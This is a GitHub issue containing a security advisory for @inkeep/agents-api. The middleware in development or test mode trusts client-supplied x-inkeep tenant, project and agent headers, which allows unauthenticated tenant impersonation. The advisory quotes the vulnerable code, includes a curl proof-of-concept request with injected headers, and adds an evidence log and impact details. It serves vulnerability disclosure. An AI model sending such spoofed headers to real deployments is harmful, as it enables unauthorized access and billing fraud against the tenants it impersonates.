Skip to content

[Security] Authentication Bypass - Unauthenticated Tenant Takeover via Header Injection in runAuth Middleware (Dev/Test Mode) #3024

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: [Authentication Bypass] Unauthenticated Tenant Takeover via Header Injection in runAuth Middleware (Dev/Test Mode)

Description:

Summary

An authentication bypass vulnerability exists in the runApiKeyAuthHandler middleware when the agents-api application is running in development or test mode. The vulnerability allows any unauthenticated external attacker to achieve complete "Tenant Takeover" to impersonate arbitrary tenants, projects, and agents by simply injecting x-inkeep-* HTTP headers into their requests, leading to severe unauthorized data access, privilege escalation, and downstream API exhaustion.

Details

The vulnerability is located in the fallback authorization logic of agents-api/src/middleware/runAuth.ts. When the backend application runs with ENVIRONMENT=development or ENVIRONMENT=test, the middleware attempts to bypass strict API key validation to facilitate local testing. If a request lacks a valid Authorization header, the middleware automatically invokes the createDevContext function to construct a dummy user execution context.

However, createDevContext blindly trusts the x-inkeep-tenant-id, x-inkeep-project-id, and x-inkeep-agent-id headers extracted from the incoming request (reqData), prioritizing these remote, unverified user inputs over the safe default fallback constants (e.g., 'test-tenant').

function createDevContext(reqData: RequestData): AuthResult {
  const result: AuthResult = {
    apiKey: 'development',
    // VULNERABILITY: Blindly prioritizing external HTTP headers over safe defaults
    tenantId: reqData.tenantId || 'test-tenant',
    projectId: reqData.projectId || 'test-project',
    agentId: reqData.agentId || 'test-agent',
    apiKeyId: 'test-key',
...

An external attacker can simply send HTTP requests carrying these headers. The middleware will map the target identity to the global execution context (c.set('executionContext', ...)), completely bypassing any API key authentication or developer bypass secrets (INKEEP_AGENTS_MANAGE_API_BYPASS_SECRET). Although restricted to environments configured for development or testing, this poses a Critical risk if these environments are publicly exposed or deployed in Staging namespaces without explicit warnings.

PoC

  1. Ensure the agents-api application is running locally with ENVIRONMENT=development (which is the default in .env.example).
  2. Identify a protected endpoint, such as /run/agents/{agent_id}/chat.
  3. Submit an unauthenticated POST request, injecting targeted execution context parameters via the x-inkeep-tenant-id, x-inkeep-project-id, and x-inkeep-agent-id headers:
curl -X POST "http://localhost:3002/run/agents/target-agent/chat" \
  -H "x-inkeep-tenant-id: hacked-tenant" \
  -H "x-inkeep-project-id: hacked-project" \
  -H "x-inkeep-agent-id: hacked-agent" \
  -H "Content-Type: application/json" \
  -d '{"message": "Hello"}'
  1. Observe that the middleware accepts the request, overrides the standard test-tenant safety defaults, and attempts to execute the downstream action directly as the hacked-tenant identity.

Log of Evidence

[*] Sending an unauthenticated request to a protected /run endpoint...
[*] Target URL: http://localhost:3002/run/agents/target-agent/chat
[*] Headers injected:
    x-inkeep-tenant-id: hacked-tenant
    x-inkeep-project-id: hacked-project
    x-inkeep-agent-id: hacked-agent

[+] Status Code: 404
[+] Response body extracts: {"code":"not_found","title":"Not Found","status":404,"detail":"Project not found: hacked-project","error":{"code":"not_found","message":"Project not found: hacked-project"}}

[SUCCESS] Authentication bypassed! The middleware allowed our execution context injection without an API key or session.

(Note: A 404 Project not found response originating from internal execution validation proves the request completely bypassed the initial Auth/401 layer and operated entirely within the hijacked context).

Impact

  • Authentication Bypass & Privilege Escalation (Tenant Takeover): Unauthenticated attackers can assume the identity of any registered platform tenant and project merely by specifying target IDs in the headers.
  • Unauthorized Data Access: Complete exposure of cross-tenant interaction histories, metadata, and intelligent model configurations if a staging component has remote database links.
  • API Exhaustion / Billing Fraud: Attackers can spoof execution payloads to consume significant backend LLM tokens (e.g., Anthropic, OpenAI) which are billed to the impersonated victim accounts or platform developers.

Affected products

  • Ecosystem: npm
  • Package name: @inkeep/agents-api
  • Affected versions: <= 0.58.14 (Verified on commit b10c96fc081866fc02c662aa34b002c277ae2563)
  • Patched versions:

Severity

  • Severity: Critical
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) (Note: Score reflects environments where development configurations are misconfigured or deployed externally without compensating controls).

Weaknesses

  • CWE-288: Authentication Bypass Using an Alternate Path or Channel
  • CWE-306: Missing Authentication for Critical Function

Occurrences

Permalink Description
tenantId: reqData.tenantId || 'test-tenant',
projectId: reqData.projectId || 'test-project',
agentId: reqData.agentId || 'test-agent',
apiKeyId: 'test-key',
The createDevContext fallback improperly prioritizes unverified user HTTP headers (reqData.tenantId) for context assignment over safer default fallback dummy strings ('test-tenant').
logger.info({}, 'development environment');
const attempt = await authenticateRequest(reqData);
if (attempt.authResult) {
c.set('executionContext', buildExecutionContext(attempt.authResult, reqData));
} else {
logger.info(
{},
reqData.apiKey
? 'Development/test environment - fallback to default context due to invalid API key'
: 'Development/test environment - no API key provided, using default context'
);
c.set('executionContext', buildExecutionContext(createDevContext(reqData), reqData));
The runApiKeyAuthHandler routes unauthenticated requests to createDevContext seamlessly when ENVIRONMENT is development or test, without requiring explicit verification or developer bypass secrets to map an arbitrary identity.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions